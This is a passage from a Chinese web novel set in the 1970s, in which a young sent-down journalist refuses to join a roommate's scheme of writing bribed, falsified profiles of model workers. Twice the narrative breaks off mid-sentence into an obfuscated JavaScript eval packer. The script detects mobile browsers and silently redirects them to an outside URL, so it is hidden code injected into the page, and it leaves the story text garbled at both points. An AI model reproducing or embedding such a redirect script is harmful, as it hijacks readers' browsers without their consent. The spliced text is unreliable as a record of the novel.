路上方建宏接过她的行李,笑道:“李同志,你这行李可真不轻,也难为你一个女同志从东门车站背到这来。” 李南书道:“还好,地里农活做惯了,也能背得动。不怕您笑话,这回能来写稿子,我还庆幸着,不用顶着日头去地里拔草了。” 方建宏笑道:“是,热暑天干活,磨人的很,这么说来,李同志运气还不错?” 李南书点头,“是挺好的。”这么一会儿,李南书看出来,这个秘书人还挺好的,就向她打听起这次采访任务来。 方建宏和她道,这次采访劳模的活动,县里共组织了12位记者,她是最后一个来报道的。 李南书又问了下奖金的事,方建宏笑道:“三等奖20块钱,二等奖30,一等奖50块钱,外加一些毛巾、水杯、暖水壶之类的奖品。” 李南书心里微微一动,不说50,就是拿三等奖,给昕昕买裙子的钱也够了。 俩人聊着,就走到了县政府西边的宿舍,两排房子,从外面看着还挺整洁的,十平米一间,住两个人。 方建宏笑道:“李同志,前面第二个就是。” 宿舍已经住进了一个女记者,叫卫思琴,是县里的常驻记者,年龄大概在二十七八岁,穿着一件淡绿色碎花衬衫,卡其色的裤子,一双小辫子搭在肩膀上,看着俏皮得很。 方建宏给两人介绍了一下,又和卫思琴道:“卫同志,李同志是第一次来,很多事情不熟悉,你多关照一点。” 卫思琴笑道:“那是自然,方同志,你尽管放心。”当下就和李南书说起热水、食堂的地址,又告诉她纸笔在哪里领取,事无巨细的。 方建宏笑道:“行,那你们先聊着,回头要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117860|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有事,再来找我。” 卫思琴忙拿了一袋子大白兔奶糖塞给他,方建宏连忙摆手,连说着“可使不得,”快步走掉了。 卫思琴望着他的背影笑道:“小方来两年了,脸皮还这么薄”,又从箱子里掏出一盒子饼干来,招呼李南书,“小李,赶了一上午路,饿了吧,你先垫补点,一会我带你去食堂吃。” 李南书看是奶油夹心饼干,忙道:“谢谢卫姐,我还带着山芋干,这饼干看着就贵,我都不敢拿。” 卫思琴见她识货,脸上现出几分笑意来,“这是我家里从京市给我带的,平常我也舍不得吃,这次来县里才带上。”拿了一块,塞到了李南书手里,“我不是小气的人,来,尝尝味道。” 李南书尝了一口,客气道:“香香甜甜的,挺好吃的。” 卫思琴笑道:“你这人,会说话,不讨人厌,不像隔壁的。”说着,朝隔壁翻了个白眼,又问道:“哎,小李,你是工业组、管理组还是农业组?” 李南书有点懵,“怎么还分组啊?” 卫思琴见她一点不知道,觑了她一眼,“怎么不分?管理组就是采访领导岗位的劳模,像厂长、副厂长、总工这些,工业组是厂里的工人劳模,农业组就是去采访农民,你来得迟,怕是也没得挑。” 李南书心里隐约明白了一点,有些不确定地问道:“不都是劳模吗?” 卫思琴鄙夷地看了她一眼,“小李,别怪我笑话你,你真是一点门路都没摸,就跑到这县里来了,你原先是干什么的?” “下乡知青,公社的临时通讯员,写写稿子,出出简报。” “哦,明白了,一穷二白的出身。” 在卫思琴委婉的解释下,李南书明白自己没有多想,确实是因为油水不一样。 “哎呀,小李,你回头活络一点,和方秘书多套套近乎,让他分给你一个好点的采访对象,至少是工厂里的,别的不说,什么布票、罐头,肯定能塞你一点,也不枉你来这一趟。” 李南书已经听得瞠目结舌,卫思琴还在继续道:“你也别不好意思收,咱们辛苦写稿子,收点润笔钱不算什么,再说咱们把他们写好点,回头他们肯定也能升职、拿荣誉,两边都不亏!” 李南书忽然觉察出不对来,如果是真的劳模,为什么要贿赂她们? 如果不是真的劳模,那她们的稿子不就是在造假吗?什么人会需要把自己造假成劳模? 她心里一跳,试探着问道:“卫姐,我们也不能乱写啊?万一市里派人来核实怎么办?” 卫思琴吃着饼干,毫不在意地道:“没事的,这事不是第一回了,你放心大胆拿。”又抬眼问着她道:“小李,你是高中毕业下乡的吧,能混到县里来写稿子,没点能力,可上不来。” 李南书如实道:“不是,卫姐,我初中毕业就来了。” 卫思琴笑了一下,“那你这记者的水分怕是和我一样,有点大哦!哎呀,刚方建宏领你来,我还紧张了一下,怕真来个能干的。” 越能干的人,越有脾气,也可以说是牛性,卫思琴觉得像小李这样,没学历没背景的,凡事都好商量。这次好几个人托她从中介绍,找帮忙润稿子的,小李倒是可以发展一下。 李南书笑笑,没有接这话茬,只道:“卫姐,我笨得很,压根不知道取巧的写法,怕是只能老老实实地交一篇稿子出来。” 这是委婉地拒绝和她合伙。 卫思琴嗤笑了一声,“小李,我知道你的想法,我刚开始也是你这么想的,你在这待一段时间就知道了。” 李南书没再和她玩笑,正色道:“不会,卫姐,我不会改变想法。”不说上一世,她就是在社会善的合力下,才能够顺利读到大学,就是这一世,她爸妈、哥姐,都教她“勿以善小而不为,勿以恶小而为之。” 她不会成为任何人的“帮闲”,她的笔也没法写出歌颂贪污、腐败、揽功分子的话来。 卫思琴见她态度明确,微微愣了一下,淡声道:“小李,你还挺聪明的。只不过……”她拖长了音调道:“过于有想法,可不是什么好事,况且你不过是初中毕业来插队的知青。” 14. 第 14 章 因着上午和卫思琴聊得不愉快,两个人再无交流。 卫思琴笃定李南书一个没背景没学历的穷知青,刚来县里,两眼一抹黑,迟早求到自个跟前来,是以,她一点都不着急,看着李南书折腾。 李南书却忙碌得很,把床铺收拾好,又把柜子里里外外打扫了一遍,下午就跑去找方建宏,问他有没有以往的采访资料。 方建宏听她说完,就站了起来,情绪像是有些激动。 李南书忙道:“方秘书,我知道你工作比较忙,要是太麻烦,就算了,你不用为难。” 方建宏没回她,转身就从柜子里搬了一摞材料出来,“李记者,你看看,这些行不行?” 李南书惊了一下,有报纸、书刊、年鉴,足足有半人高,由衷地夸道,“方秘书,你的工作做得太细致了,以后肯定能步步高升。” 方建宏脸上露出点笑意,“借你吉言,这些我早就准备好了,一直没有人来要,我都以为这些没有用武之地了,可算把你等来了。”又道:“这有点多,我帮你搬过去吧!” 卫思琴正在宿舍描眉,看到李南书带着方建宏过来,立即把小镜子合在了桌面上,“哎呦,方秘书,什么风把你吹来了?” 方建宏把报纸放到了桌子上,笑道:“给李记者搬点资料,行,那你们先忙着,我走了哈!”又转身和李南书道:“李同志,要是还缺什么东西,尽管来找我,不用客气。” “好,谢谢方秘书,今天真是太麻烦你了。” 方建宏摇摇手,“没事,没事。”又朝她笑道:“真的,我很高兴能帮得上忙。对了,明天的培训,八点开始,别忘记了。” 卫思琴把俩人的互动看在眼里,等方建宏一走,她瞟了一眼霉灰灰的资料,抬手在鼻子跟前扇了扇,“一股霉味,哎,小李,我当你是块榆木疙瘩,不知道和方秘书套近乎呢,原来在这另辟蹊径呢!” 李南书忙着整理材料,没理会她的阴阳怪气,“卫姐,材料放我这边桌上,你要看的话,可以过来拿。” 卫思琴随手拿了一张,扫了两眼,“这都多少年前的东西了,陈词滥调的,要看你看,我可用不上。”又挖苦她道:“你是得看看,一点经验都没有的人,别回头在县里闹了笑话,传到公社去,可就难看了。” 李南书淡淡地道:“谢谢卫姐的关心,对不住,我不能和你聊了,我得抓紧时间看材料了。” 卫思琴一噎,转身接着描眉去了。 李南书把资料稍微整理了一下,按照采访技巧、撰写技巧、人物、事迹等把报纸分开存放,最后打开了渔县近些年的年鉴。虽然她来了这边好几年,但并没有在宏观上认识这座县城。 她看得渐渐有味,不觉天都黑了,卫思琴不知道什么时候出门了,李南书拿着铝制饭盒忙往食堂跑。 食堂师傅正准备收家伙什,看到她来,笑道:“哟,又来了一个,刚好还有一点粥,两个馒头。” 等前头的大姐打好了,李南书把饭盒递了过去,“师傅,一碗粥,馒头也要。” 她刚找了一个位置坐下,刚排在她前面的大姐也端着饭盒过来,笑问她道:“你就是最后一个来报道的吧?”又道:“我住你隔壁,也是这次采访劳模的记者。下午看方秘书帮你抱着一对材料回来。” 来人大概三十出头,留着齐耳短发,人有些圆润,一双眼睛很有神采,李南书忙站起来,伸手道:“您好,我是李南书。” “你好,我是孙逸宁。” 聊了一会后,李南书知道这是市里下来的记者,忙道:“那以后还麻烦孙姐多指点,我只在公社做过通讯员,还不是很懂这些。” 孙逸宁温声笑道:“你看着不大,有二十了吗?”见南书点头,接着道:“还小呢,慢慢学,来得及。我以前也不是学新闻的,我大学学的文学,你看,现在也算有点年限的记者了。” 李南书忙道:“您太谦虚了,您的业务能力肯定很好。”又补充道:“我见您第一眼,就觉得您像文化人,看起来就有气质。” 她说的是真心话,这大姐看起来就很从容的样子,必然是对自己领域的工作很有信心的。 孙逸宁被她逗笑了,“你这姑娘可真会说话,业务做熟悉了,都一样。” 隔了一会,又问道:“你和卫同志一个宿舍?你们熟吗?” 李南书摇摇头,“不熟,上午可能我说错了话,卫同志不怎么高兴。”她也没有隐瞒,看卫思琴今儿的架势,保不齐要在外头说她的坏话,她不如趁早把不合的事说开。 孙逸宁不置可否,只道:“小李同志,我托大和你叮嘱一句,你刚入行,别的都还好,只有一条要谨记,什么事都得守住底线,不能弄虚作假。”又笑道:“哎呀,你可不要嫌我啰嗦。” 李南书忙道:“怎么会,您这是作为前辈,好心给我指点呢!”她心里直觉,这位孙姐是特地来找她说这一番话的。 孙逸宁见她一点就透,笑道:“你这姑娘,真是伶俐。”又闲聊了几句,得知她是石狮公社的,笑道:“你们那儿,我也认识一个人,叫卢东樾,你认识吗?” 李南书点头,“认识,我和卢同志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117861|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起出过简报。” “他这次来了没?” “没有,他被推荐上工农兵大学了,赶着交接工作。” 孙逸宁道:“这个小伙子能干得很,先前市里派我下来采访渔阳水库建设,卢东樾负责带队民工,单手就能把8吋水泵提起来,后来又被派去做出纳,我陪他去提过一次钱,提包里还要放一支手枪,这活可不好做。” 李南书笑道:“他是真厉害。”后面一段,倒没听卢东樾提过。现在想来,他能当上公社武装部副部长,确实是一步一个脚印,扎扎实实走出来的。 孙逸宁拍拍她的肩膀,“你也不错,这么小年纪,就被公社推荐到县里来写稿子了,要是能上大学,以后肯定走得比我们远。” “您真是谬赞。” 孙逸宁摆摆手,“没有,我看人很准的,以后要是有什么不懂的,随时来问我。” 李南书趁机就问起渔县的历史来,孙逸宁笑道:“我这算不算搬石头砸了自己的脚?”说笑过后,倒也认真地和李南书聊了起来。 ** 第二天傍晚,李南书上完培训课,刚回宿舍,就被通知有人找,忙跑到了县政府门口。 她以为是琼玉回家,顺道来看她。 不成想,门口站着的是卢东樾,颇有些意外地道:“卢同志,怎么是你?” 卢东樾笑道:“南书同志,你好像很惊讶,我是不是来的很冒昧?” 李南书忙摆手,“没有,没有,”用手指比了一下下,“确实有这么一点点意外。” 卢东樾从口袋里拿出两个信封递给她,“应该是比较急,今儿你们大队知青送到公社来,问有没有人来县里,给你捎一下。” 李南书接过来一看,一封电报纸,二姐寄来的,叮嘱她最近不要回家,年底再回去,李南书皱了皱眉,这电报怎么看着有点怪怪的? 以为信也是家里寄来的,顺手打开了,呼啦啦地掉了两张照片下来,卢东樾忙蹲下来捡好,递给李南书。 李南书接过来的瞬间,整个人都愣住了。 卢东樾见她忽然不动,忙问道:“南书同志,怎么了?”顺着她的视线看过去,就见到了一个青年的半身像,穿着白色的衬衫和黑裤子,衬衫袖子挽了一半到小臂处,剑眉星目,眼神平和地目视着前方。 卢东樾敏锐地察觉出异样来,“南书,这是?” “同学,”李南书轻声道:“好几年不见的同学,长得和以前变化不大。”她语气平静,心里却起了狂风骤雨,失联了好些年的人,怎么会忽然寄了相片来?